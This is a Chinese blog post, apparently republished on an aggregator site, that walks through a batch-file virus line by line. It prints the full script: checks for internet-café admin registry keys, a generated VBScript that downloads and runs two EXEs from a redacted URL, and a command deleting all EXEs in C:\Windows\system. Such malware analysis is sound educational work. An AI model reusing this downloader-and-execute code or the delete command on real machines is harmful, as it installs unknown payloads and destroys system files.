一个bat病毒分析(part1)
Posted QKSword
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个bat病毒分析(part1)相关的知识,希望对你有一定的参考价值。
之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦
这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm
@echo off&setlocal enabledelayedexpansion
这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。
reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\iCafe8 /v Admin>nul 2>nul&&call :is_admin_icafe reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\EYOOCLIENTSTATUS /v SuperLogin>nul 2>nul&&call :is_admin_eyoo reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet /v superadmin>nul 2>nul&&call :is_admin_yungengxin
这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????
:is_admin_icafe for /f "delims=" %%a in (\'reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\icafe8 /v Admin\') do (set IsAdmin=%%a) if %IsAdmin:~-1% == 1 (goto superadmin) goto :eof :is_admin_eyoo for /f "delims=" %%a in (\'reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\EYOOCLIENTSTATUS /v SuperLogin\') do (set IsAdmin=%%a) if %IsAdmin:~-1% == 1 (goto superadmin) goto :eof :is_admin_yungengxin for /f "delims=" %%a in (\'reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet /v superadmin\') do (set IsAdmin=%%a) if %IsAdmin:~-1% == 1 (goto superadmin) goto :eof :superadmin exit
这里是下载两个exe到c盘下(网址抹掉了),然后删除c:\\windows\\system\\下所有的exe,/q取消删除确认,然后执行结束
::Download one or more programs and run the programs call :geticon http://xxxx/xx/zc005.exe C:\\Windows\\system\\zc005.exe call :geticon http://xxxx/xx/zjzc6.exe C:\\Windows\\system\\zjzc6.exe del c:\\windows\\system\\*.exe /q exit
我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件
:geticon url path echo strFileURL="%1">%temp%\\boot.vbs echo strHDLocation="%2">>%temp%\\boot.vbs echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%\\boot.vbs echo objXMLHTTP.open "GET", strFileURL, false>>%temp%\\boot.vbs echo objXMLHTTP.send()>>%temp%\\boot.vbs echo If objXMLHTTP.Status=200 Then>>%temp%\\boot.vbs echo Set objADOStream=CreateObject("ADODB.Stream")>>%temp%\\boot.vbs echo objADOStream.Open>>%temp%\\boot.vbs echo objADOStream.Type^=^1>>%temp%\\boot.vbs echo objADOStream.Write objXMLHTTP.ResponseBody>>%temp%\\boot.vbs echo objADOStream.Position^=^0>>%temp%\\boot.vbs echo Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%\\boot.vbs echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%\\boot.vbs echo Set objFSO=Nothing>>%temp%\\boot.vbs echo objADOStream.SaveToFile strHDLocation>>%temp%\\boot.vbs echo objADOStream.Close>>%temp%\\boot.vbs echo Set objADOStream=Nothing>>%temp%\\boot.vbs echo End if>>%temp%\\boot.vbs echo Set objXMLHTTP=Nothing>>%temp%\\boot.vbs cscript //nologo //e:vbscript %temp%/boot.vbs del %temp%\\boot.vbs /q if exist %2 start "" %2 goto :eof
这里就是vbs执行的流程
strFileURL=http://xxxx/xx/zc005.exe \'目标URL strHDLocation=C:\\Windows\\system\\zc005.exe \'存放地址 Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP") \'创建一个MSXML2.XMLHTTP对象用来抓取网页数据 objXMLHTTP.open "GET", strFileURL, false \'get方式访问url获取响应信息 objXMLHTTP.send() If objXMLHTTP.Status=200 Then \'判断是否访问到页面 Set objADOStream=CreateObject("ADODB.Stream") \'ADODB.Stream用来数据传输 objADOStream.Open objADOStream.Type^=^1 \'以二进制形式读取文件 objADOStream.Write objXMLHTTP.ResponseBody \'数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一 objADOStream.Position^=^0 \'指示开始读取的位置 Set objFSO=Createobject("Scripting.FileSystemObject") \'创建Scripting.FileSystemObject If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation \'检测是否存在目标目录,存在就删除文件 Set objFSO=Nothing objADOStream.SaveToFile strHDLocation \'写入到目标路径 objADOStream.Close Set objADOStream=Nothing End if Set objXMLHTTP=Nothing
最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe
cscript //nologo //e:vbscript %temp%/boot.vbs del %temp%\\boot.vbs /q if exist %2 start "" %2 goto :eof
这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe
以上是关于一个bat病毒分析(part1)的主要内容,如果未能解决你的问题,请参考以下文章
2016-2017-1 20155215 信息安全技术 补课上测试